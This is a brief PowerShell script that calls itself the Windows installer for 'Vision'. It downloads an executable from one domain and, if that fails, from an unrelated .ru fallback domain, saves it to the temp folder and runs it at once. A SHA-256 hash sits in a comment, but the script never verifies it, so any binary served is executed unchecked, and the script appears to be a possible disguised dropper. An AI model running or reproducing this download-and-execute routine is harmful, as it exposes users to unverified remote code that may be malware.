1# Vision — Windows installer (PowerShell) 2# Downloads from the primary server and automatically falls back to the secondary server if needed. 3# SHA-256: ab263eb54de9ca402f86242f9a9c03186dfb7dba49ca43e28afb47ce11691a17 (VisionSetup.exe) 4 5$Primary = "https://vision.seshstation.com/VisionSetup.exe" 6$Fallback = "https://vision.networkunknown.ru/VisionSetup.exe" 7 8$Installer = Join-Path $env:TEMP "VisionSetup.exe" 9 10function Download-Installer { 11 param([string]$Url) 12 try { 13 Invoke-WebRequest -Uri $Url -OutFile $Installer -UseBasicParsing -TimeoutSec 15 -ErrorAction Stop 14 return $true 15 } catch { 16 return $false 17 } 18} 19 20Write-Host "Downloading installer from primary server..." 21 22if (-not (Download-Installer $Primary)) { 23 Write-Host "Primary server unavailable, trying fallback..." 24 if (-not (Download-Installer $Fallback)) { 25 Write-Error "Failed to download Vision installer." 26 exit 1 27 } 28} 29 30Write-Host "Launching installer..." 31Start-Process $Installer